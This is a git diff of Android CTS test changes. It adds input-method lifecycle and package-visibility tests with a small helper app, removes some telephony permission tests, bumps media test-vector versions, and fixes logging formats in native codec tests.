index 23f32ce..fc724f8 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
@@ -21,8 +21,10 @@
 import static android.view.View.VISIBLE;
 
 import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
 
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
@@ -30,14 +32,19 @@
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.inputmethodservice.InputMethodService;
+import android.os.IBinder;
+import android.os.Process;
 import android.os.SystemClock;
 import android.text.TextUtils;
+import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputMethodManager;
 import android.view.inputmethod.cts.util.DisableScreenDozeRule;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
 import android.view.inputmethod.cts.util.TestActivity;
 import android.view.inputmethod.cts.util.TestUtils;
 import android.view.inputmethod.cts.util.UnlockScreenRule;
+import android.view.inputmethod.cts.util.WindowFocusStealer;
 import android.widget.EditText;
 import android.widget.LinearLayout;
 
@@ -140,6 +147,79 @@
         }
     }
 
+    /**
+     * Test case for Bug 158624922 and Bug 152373385.
+     *
+     * Test {@link android.inputmethodservice.InputMethodService#onStartInput(EditorInfo, boolean)}
+     * and {@link InputMethodService#onFinishInput()} won't be called and the input connection
+     * remains active, even when a non-IME focusable window hosted by a different process
+     * temporarily becomes the focused window.
+     */
+    @Test
+    public void testNoStartNewInputWhileOtherProcessHasWindowFocus() throws Exception {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        try (MockImeSession imeSession = MockImeSession.create(
+                instrumentation.getContext(),
+                instrumentation.getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final String marker = InputMethodStartInputLifecycleTest.class.getName() + "/"
+                    + SystemClock.elapsedRealtimeNanos();
+            final EditText editText = launchTestActivity(marker);
+            TestUtils.runOnMainSync(() -> editText.requestFocus());
+
+            // Wait until the MockIme gets bound to the TestActivity.
+            expectBindInput(stream, Process.myPid(), TIMEOUT);
+
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
+            // Get app window token
+            final IBinder appWindowToken = TestUtils.getOnMainSync(
+                    () -> editText.getApplicationWindowToken());
+
+            try (WindowFocusStealer focusStealer =
+                         WindowFocusStealer.connect(instrumentation.getTargetContext(), TIMEOUT)) {
+
+                focusStealer.stealWindowFocus(appWindowToken, TIMEOUT);
+
+                // Wait until the edit text loses window focus.
+                TestUtils.waitOnMainUntil(() -> !editText.hasWindowFocus(), TIMEOUT);
+            }
+            // Wait until the edit text gains window focus again.
+            TestUtils.waitOnMainUntil(() -> editText.hasWindowFocus(), TIMEOUT);
+
+            // Not expect the input connection will be started or finished even gaining non-IME
+            // focusable window focus.
+            notExpectEvent(stream, event -> "onFinishInput".equals(event.getEventName())
+                    || "onStartInput".equals(event.getEventName()), TIMEOUT);
+
+            // Verify the input connection of the EditText is still active and can accept text.
+            final InputMethodManager imm = editText.getContext().getSystemService(
+                    InputMethodManager.class);
+            assertTrue(TestUtils.getOnMainSync(() -> imm.isActive(editText)));
+            assertTrue(TestUtils.getOnMainSync(() -> imm.isAcceptingText()));
+        }
+    }
+
+    private EditText launchTestActivity(String marker) {
+        final AtomicReference<EditText> editTextRef = new AtomicReference<>();
+        TestActivity.startSync(activity-> {
+            final LinearLayout layout = new LinearLayout(activity);
+            layout.setOrientation(LinearLayout.VERTICAL);
+
+            final EditText editText = new EditText(activity);
+            editText.setPrivateImeOptions(marker);
+            editText.setHint("editText");
+            editText.requestFocus();
+            editTextRef.set(editText);
+
+            layout.addView(editText);
+            return layout;
+        });
+        return editTextRef.get();
+    }
+
     private static Predicate<ImeEvent> onFinishInputMatcher() {
         return event -> TextUtils.equals("onFinishInput", event.getEventName());
     }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
new file mode 100644
index 0000000..7705c63
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AppModeInstant;
+import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.UnlockScreenRule;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import com.android.cts.mockime.ImeCommand;
+import com.android.cts.mockime.ImeEvent;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.security.InvalidParameterException;
+import java.util.concurrent.TimeUnit;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public final class PackageVisibilityTest extends EndToEndImeTestBase {
+    static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+
+    @Rule
+    public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
+
+    private static final ComponentName TEST_ACTIVITY = new ComponentName(
+            "android.view.inputmethod.ctstestapp",
+            "android.view.inputmethod.ctstestapp.MainActivity");
+
+    private static final Uri TEST_ACTIVITY_URI =
+            Uri.parse("https://example.com/android/view/inputmethod/ctstestapp");
+
+    private static final String EXTRA_KEY_PRIVATE_IME_OPTIONS =
+            "android.view.inputmethod.ctstestapp.EXTRA_KEY_PRIVATE_IME_OPTIONS";
+
+    private static final String TEST_MARKER_PREFIX =
+            "android.view.inputmethod.cts.PackageVisibilityTest";
+
+    private static String getTestMarker() {
+        return TEST_MARKER_PREFIX + "/"  + SystemClock.elapsedRealtimeNanos();
+    }
+
+    @NonNull
+    private static Uri formatStringIntentParam(@NonNull Uri uri, @NonNull String key,
+            @Nullable String value) {
+        if (value == null) {
+            return uri;
+        }
+        return uri.buildUpon().appendQueryParameter(key, value).build();
+    }
+
+    @NonNull
+    private static String formatStringIntentParam(@NonNull String key, @Nullable String value) {
+        if (key.matches("[ \"']")) {
+            throw new InvalidParameterException("Unsupported character(s) in key=" + key);
+        }
+        if (value.matches("[ \"']")) {
+            throw new InvalidParameterException("Unsupported character(s) in value=" + value);
+        }
+        return value != null ? String.format(" --es %s %s", key, value) : "";
+    }
+
+    /**
+     * Launch the standalone version of the test {@link android.app.Activity} then wait for
+     * completions of launch.
+     *
+     * <p>Note: this method does not use
+     * {@link android.app.Instrumentation#startActivitySync(Intent)} because it does not work when
+     * both the calling process and the target process run under the instant app mode. Instead this
+     * method relies on adb command {@code adb shell am start} to work around that limitation.</p>
+     *
+     * @param instant {@code true} if the caller and the target is installed as instant apps.
+     * @param privateImeOptions If not {@code null},
+     *                          {@link android.view.inputmethod.EditorInfo#privateImeOptions} will
+     *                          in the test {@link android.app.Activity} will be set to this value.
+     * @param timeout timeout in milliseconds.
+     */
+    private void launchTestActivity(boolean instant, @Nullable String privateImeOptions,
+            long timeout) {
+        final String command;
+        if (instant) {
+            final Uri uri = formatStringIntentParam(
+                    TEST_ACTIVITY_URI, EXTRA_KEY_PRIVATE_IME_OPTIONS, privateImeOptions);
+            command = String.format("am start -a %s -c %s %s",
+                    Intent.ACTION_VIEW, Intent.CATEGORY_BROWSABLE, uri.toString());
+        } else {
+            command = String.format("am start -n %s",
+                    TEST_ACTIVITY.flattenToShortString())
+                    + formatStringIntentParam(EXTRA_KEY_PRIVATE_IME_OPTIONS, privateImeOptions);
+        }
+        runShellCommand(command);
+        UiDevice.getInstance(InstrumentationRegistry.getInstrumentation())
+                .wait(Until.hasObject(By.pkg(TEST_ACTIVITY.getPackageName()).depth(0)), timeout);
+    }
+
+    @AppModeFull
+    @Test
+    public void testTargetPackageIsVisibleFromImeFull() throws Exception {
+        testTargetPackageIsVisibleFromIme(false /* instant */);
+    }
+
+    @AppModeInstant
+    @Test
+    public void testTargetPackageIsVisibleFromImeInstant() throws Exception {
+        // We need to explicitly check this condition in case tests are executed with atest command.
+        // See Bug 158617529 for details.
+        assumeTrue("This test should run when and only under the instant app mode.",
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager()
+                        .isInstantApp());
+        testTargetPackageIsVisibleFromIme(true /* instant */);
+    }
+
+    private void testTargetPackageIsVisibleFromIme(boolean instant) throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final String marker = getTestMarker();
+            launchTestActivity(instant, marker, TIMEOUT);
+
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
+            final ImeCommand command = imeSession.callGetApplicationInfo(
+                    TEST_ACTIVITY.getPackageName(), PackageManager.GET_META_DATA);
+            final ImeEvent event = expectCommand(stream, command, TIMEOUT);
+
+            if (event.isNullReturnValue()) {
+                fail("getApplicationInfo() returned null.");
+            }
+            if (event.isExceptionReturnValue()) {
+                final Exception exception = event.getReturnExceptionValue();
+                fail(exception.toString());
+            }
+            final ApplicationInfo applicationInfoFromIme = event.getReturnParcelableValue();
+            assertEquals(TEST_ACTIVITY.getPackageName(), applicationInfoFromIme.packageName);
+        }
+    }
+}
diff --git a/tests/inputmethod/testapp/Android.bp b/tests/inputmethod/testapp/Android.bp
new file mode 100644
index 0000000..1d55077
--- /dev/null
+++ b/tests/inputmethod/testapp/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsInputMethodStandaloneTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    compile_multilib: "both",
+    static_libs: [
+        "androidx.annotation_annotation",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "src/**/I*.aidl",
+    ],
+}
diff --git a/tests/inputmethod/testapp/AndroidManifest.xml b/tests/inputmethod/testapp/AndroidManifest.xml
new file mode 100644
index 0000000..0f474205
--- /dev/null
+++ b/tests/inputmethod/testapp/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.view.inputmethod.ctstestapp"
+    android:targetSandboxVersion="2">
+
+    <application
+        android:label="CtsInputMethodStandaloneTestApp"
+        android:multiArch="true"
+        android:supportsRtl="true">
+        <activity
+            android:name=".MainActivity"
+            android:exported="true"
+            android:label="CtsInputMethodStandaloneTestActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="https" />
+                <data android:host="example.com" />
+                <data android:path="/android/view/inputmethod/ctstestapp" />
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
diff --git a/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
new file mode 100644
index 0000000..58d5c42
--- /dev/null
+++ b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.inputmethod.ctstestapp;
+
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+
+import android.app.Activity;
+import android.net.Uri;
+import android.os.Bundle;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+
+import androidx.annotation.Nullable;
+
+/**
+ * A test {@link Activity} that automatically shows the input method.
+ */
+public final class MainActivity extends Activity {
+
+    private static final String EXTRA_KEY_PRIVATE_IME_OPTIONS =
+            "android.view.inputmethod.ctstestapp.EXTRA_KEY_PRIVATE_IME_OPTIONS";
+
+    @Nullable
+    private String getPrivateImeOptions() {
+        if (getPackageManager().isInstantApp()) {
+            final Uri uri = getIntent().getData();
+            if (uri == null || !uri.isHierarchical()) {
+                return null;
+            }
+            return uri.getQueryParameter(EXTRA_KEY_PRIVATE_IME_OPTIONS);
+        }
+        return getIntent().getStringExtra(EXTRA_KEY_PRIVATE_IME_OPTIONS);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        final LinearLayout layout = new LinearLayout(this);
+        layout.setOrientation(LinearLayout.VERTICAL);
+        final EditText editText = new EditText(this);
+        editText.setHint("editText");
+        final String privateImeOptions = getPrivateImeOptions();
+        if (privateImeOptions != null) {
+            editText.setPrivateImeOptions(privateImeOptions);
+        }
+        editText.requestFocus();
+        layout.addView(editText);
+        getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+        setContentView(layout);
+    }
+}
diff --git a/tests/libcore/wycheproof-bc/Android.bp b/tests/libcore/wycheproof-bc/Android.bp
index a922531..57f59b7 100644
--- a/tests/libcore/wycheproof-bc/Android.bp
+++ b/tests/libcore/wycheproof-bc/Android.bp
@@ -37,5 +37,6 @@
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "general-tests",
     ],
 }
diff --git a/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
index d619f32..7d150cb 100644
--- a/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
+++ b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
@@ -16,8 +16,6 @@
 
 package android.location.cts.none;
 
-import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
-
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.fail;
 
@@ -29,9 +27,6 @@
 import android.location.cts.common.LocationListenerCapture;
 import android.location.cts.common.LocationPendingIntentCapture;
 import android.os.Looper;
-import android.telephony.CellInfo;
-import android.telephony.PhoneStateListener;
-import android.telephony.TelephonyManager;
 
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -40,8 +35,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.List;
-
 
 @RunWith(AndroidJUnit4.class)
 public class NoLocationPermissionTest {
@@ -57,81 +50,6 @@
         assertNotNull(mLocationManager);
     }
 
-    @SuppressWarnings("deprecation")
-    @Test
-    public void testGetCellLocation() {
-        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
-        assertNotNull(telephonyManager);
-
-        try {
-            telephonyManager.getCellLocation();
-            fail("Should throw SecurityException");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    @Test
-    public void testGetAllCellInfo() {
-        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
-        assertNotNull(telephonyManager);
-
-        try {
-            telephonyManager.getAllCellInfo();
-            fail("Should throw SecurityException");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    @Test
-    public void testListenCellLocation() {
-        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
-        assertNotNull(telephonyManager);
-
-        try {
-            telephonyManager.listen(new PhoneStateListener(Runnable::run),
-                    PhoneStateListener.LISTEN_CELL_LOCATION);
-            fail("Should throw SecurityException");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    @Test
-    public void testRequestCellInfoUpdate() {
-        if (!mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY)) {
-            return;
-        }
-
-        TelephonyManager telephonyManager = mContext.getSystemService(TelephonyManager.class);
-        assertNotNull(telephonyManager);
-
-        try {
-            telephonyManager.requestCellInfoUpdate(Runnable::run,
-                    new TelephonyManager.CellInfoCallback() {
-                        @Override
-                        public void onCellInfo(List<CellInfo> cellInfos) {
-                        }
-                    });
-            fail("Should throw SecurityException");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
     @Test
     public void testRequestLocationUpdates() {
         for (String provider : mLocationManager.getAllProviders()) {
diff --git a/tests/media/Android.bp b/tests/media/Android.bp
index 985fb79..686f744 100644
--- a/tests/media/Android.bp
+++ b/tests/media/Android.bp
@@ -22,6 +22,7 @@
         "ctstestserver",
     ],
     libs: [
+        "org.apache.http.legacy",
         "android.test.runner",
         "android.test.base",
     ],
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index b031871..0617211 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -25,7 +25,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaV2TestCases-1.8" />
+        <option name="media-folder-name" value="CtsMediaV2TestCases-1.9" />
         <option name="dynamic-config-module" value="CtsMediaV2TestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 0576076..9f79bd6 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,6 +1,6 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.8.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.9.zip</value>
     </entry>
 </dynamicConfig>
 
diff --git a/tests/media/README.md b/tests/media/README.md
index a65f405..8b02147 100644
--- a/tests/media/README.md
+++ b/tests/media/README.md
@@ -3,7 +3,7 @@
 
 The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework.
 
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.7.zip) and is downloaded automatically while running tests. Manual installation of these can be done using install_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.9.zip) and is downloaded automatically while running tests. Manual installation of these can be done using install_media.sh script in this directory.
 
 The test suite looks to cover sdk/ndk api in normal and error scenarios. Error scenarios are separated from regular usage and are placed under class *UnitTest (MuxerUnitTest, ExtractorUnitTest, ...).
 
diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh
index 0a57d6c..51ce72a 100755
--- a/tests/media/copy_media.sh
+++ b/tests/media/copy_media.sh
@@ -17,7 +17,7 @@
 ## script to install mediav2 test files manually
 
 adbOptions=" "
-resLabel=CtsMediaV2TestCases-1.8
+resLabel=CtsMediaV2TestCases-1.9
 srcDir="/tmp/$resLabel"
 tgtDir="/sdcard/test"
 usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/media/jni/NativeCodecDecoderTest.cpp b/tests/media/jni/NativeCodecDecoderTest.cpp
index 0c9638e..0b17d7e 100644
--- a/tests/media/jni/NativeCodecDecoderTest.cpp
+++ b/tests/media/jni/NativeCodecDecoderTest.cpp
@@ -210,7 +210,8 @@
         }
         CHECK_STATUS(AMediaCodec_queueInputBuffer(mCodec, bufferIndex, 0, size, pts, flags),
                      "AMediaCodec_queueInputBuffer failed");
-        ALOGV("input: id: %zu  size: %zu  pts: %d  flags: %d", bufferIndex, size, (int)pts, flags);
+        ALOGV("input: id: %zu  size: %zu  pts: %" PRId64 "  flags: %d", bufferIndex, size, pts,
+              flags);
         if (size > 0) {
             mOutputBuff->saveInPTS(pts);
             mInputCount++;
@@ -227,14 +228,24 @@
         if (mSaveToMem) {
             size_t buffSize;
             uint8_t* buf = AMediaCodec_getOutputBuffer(mCodec, bufferIndex, &buffSize);
-            if (mIsAudio) mOutputBuff->saveToMemory(buf, info);
-            mOutputBuff->updateChecksum(buf, info);
+            if (mIsAudio) {
+                mOutputBuff->saveToMemory(buf, info);
+                mOutputBuff->updateChecksum(buf, info);
+            } else {
+                AMediaFormat* format =
+                    mIsCodecInAsyncMode ? mAsyncHandle.getOutputFormat() : mOutFormat;
+                int32_t width, height, stride;
+                AMediaFormat_getInt32(format, "width", &width);
+                AMediaFormat_getInt32(format, "height", &height);
+                AMediaFormat_getInt32(format, "stride", &stride);
+                mOutputBuff->updateChecksum(buf, info, width, height, stride);
+            }
         }
         mOutputBuff->saveOutPTS(info->presentationTimeUs);
         mOutputCount++;
     }
-    ALOGV("output: id: %zu  size: %d  pts: %d  flags: %d", bufferIndex, info->size,
-          (int)info->presentationTimeUs, info->flags);
+    ALOGV("output: id: %zu  size: %d  pts: %" PRId64 "  flags: %d", bufferIndex, info->size,
+          info->presentationTimeUs, info->flags);
     CHECK_STATUS(AMediaCodec_releaseOutputBuffer(mCodec, bufferIndex, mWindow != nullptr),
                  "AMediaCodec_releaseOutputBuffer failed");
     return !hasSeenError();
@@ -257,7 +268,7 @@
             if (bufferIndex >= 0) {
                 isOk = enqueueCodecConfig(bufferIndex);
             } else {
-                ALOGE("unexpected return value from *_dequeueInputBuffer: %d", (int)bufferIndex);
+                ALOGE("unexpected return value from *_dequeueInputBuffer: %d", bufferIndex);
                 return false;
             }
         }
@@ -359,17 +370,17 @@
             if (validateFormat) {
                 if (mIsCodecInAsyncMode ? !mAsyncHandle.hasOutputFormatChanged()
                                         : !mSignalledOutFormatChanged) {
-                    ALOGE(log, "not received format change");
+                    ALOGE("%s%s", log, "not received format change");
                     isPass = false;
                 } else if (!isFormatSimilar(mInpDecFormat, mIsCodecInAsyncMode
                                                                    ? mAsyncHandle.getOutputFormat()
                                                                    : mOutFormat)) {
-                    ALOGE(log, "configured format and output format are not similar");
+                    ALOGE("%s%s", log, "configured format and output format are not similar");
                     isPass = false;
                 }
             }
             if (checksum != ref->getChecksum()) {
-                ALOGE(log, "sdk output and ndk output differ");
+                ALOGE("%s%s", log, "sdk output and ndk output differ");
                 isPass = false;
             }
             loopCounter++;
@@ -499,12 +510,12 @@
         if (validateFormat) {
             if (mIsCodecInAsyncMode ? !mAsyncHandle.hasOutputFormatChanged()
                                     : !mSignalledOutFormatChanged) {
-                ALOGE(log, "not received format change");
+                ALOGE("%s%s", log, "not received format change");
                 isPass = false;
             } else if (!isFormatSimilar(mInpDecFormat, mIsCodecInAsyncMode
                                                                ? mAsyncHandle.getOutputFormat()
                                                                : mOutFormat)) {
-                ALOGE(log, "configured format and output format are not similar");
+                ALOGE("%s%s", log, "configured format and output format are not similar");
                 isPass = false;
             }
         }
@@ -631,12 +642,12 @@
                 if (validateFormat) {
                     if (mIsCodecInAsyncMode ? !mAsyncHandle.hasOutputFormatChanged()
                                             : !mSignalledOutFormatChanged) {
-                        ALOGE(log, "not received format change");
+                        ALOGE("%s%s", log, "not received format change");
                         isPass = false;
                     } else if (!isFormatSimilar(mInpDecFormat,
                                                 mIsCodecInAsyncMode ? mAsyncHandle.getOutputFormat()
                                                                     : mOutFormat)) {
-                        ALOGE(log, "configured format and output format are not similar");
+                        ALOGE("%s%s", log, "configured format and output format are not similar");
                         isPass = false;
                     }
                 }
diff --git a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
index 2c76eb1..bcf6ef1 100644
--- a/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
+++ b/tests/media/jni/NativeCodecEncoderSurfaceTest.cpp
@@ -243,7 +243,8 @@
         }
         CHECK_STATUS(AMediaCodec_queueInputBuffer(mDecoder, bufferIndex, 0, size, pts, flags),
                      "AMediaCodec_queueInputBuffer failed");
-        ALOGV("input: id: %zu  size: %zu  pts: %d  flags: %d", bufferIndex, size, (int)pts, flags);
+        ALOGV("input: id: %zu  size: %zu  pts: %" PRId64 "  flags: %d", bufferIndex, size, pts,
+              flags);
         if (size > 0) {
             mOutputBuff->saveInPTS(pts);
             mDecInputCount++;
@@ -260,8 +261,8 @@
     if (bufferInfo->size > 0 && (bufferInfo->flags & AMEDIACODEC_BUFFER_FLAG_CODEC_CONFIG) == 0) {
         mDecOutputCount++;
     }
-    ALOGV("output: id: %zu  size: %d  pts: %d  flags: %d", bufferIndex, bufferInfo->size,
-          (int)bufferInfo->presentationTimeUs, bufferInfo->flags);
+    ALOGV("output: id: %zu  size: %d  pts: %" PRId64 "  flags: %d", bufferIndex, bufferInfo->size,
+          bufferInfo->presentationTimeUs, bufferInfo->flags);
     CHECK_STATUS(AMediaCodec_releaseOutputBuffer(mDecoder, bufferIndex, mWindow != nullptr),
                  "AMediaCodec_releaseOutputBuffer failed");
     return !hasSeenError();
@@ -291,8 +292,8 @@
             mEncOutputCount++;
         }
     }
-    ALOGV("output: id: %zu  size: %d  pts: %d  flags: %d", bufferIndex, info->size,
-          (int)info->presentationTimeUs, info->flags);
+    ALOGV("output: id: %zu  size: %d  pts: %" PRId64 "  flags: %d", bufferIndex, info->size,
+          info->presentationTimeUs, info->flags);
     CHECK_STATUS(AMediaCodec_releaseOutputBuffer(mEncoder, bufferIndex, false),
                  "AMediaCodec_releaseOutputBuffer failed");
     return !hasSeenError();
@@ -316,7 +317,7 @@
             } else if (bufferID == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
             } else if (bufferID == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
             } else {
-                ALOGE("unexpected return value from *_dequeueOutputBuffer: %d", (int)bufferID);
+                ALOGE("unexpected return value from *_dequeueOutputBuffer: %d", bufferID);
                 return false;
             }
         }
@@ -352,7 +353,7 @@
                 if (!enqueueDecoderEOS(bufferIndex)) return false;
             } else {
                 ALOGE("unexpected return value from *_dequeueInputBufferBuffer: %d",
-                      (int)bufferIndex);
+                      bufferIndex);
                 return false;
             }
         }
@@ -383,7 +384,7 @@
                 } else if (oBufferID == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
                 } else if (oBufferID == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
                 } else {
-                    ALOGE("unexpected return value from *_dequeueOutputBuffer: %d", (int)oBufferID);
+                    ALOGE("unexpected return value from *_dequeueOutputBuffer: %zd", oBufferID);
                     return false;
                 }
             }
@@ -431,7 +432,7 @@
             } else if (oBufferID == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
             } else if (oBufferID == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
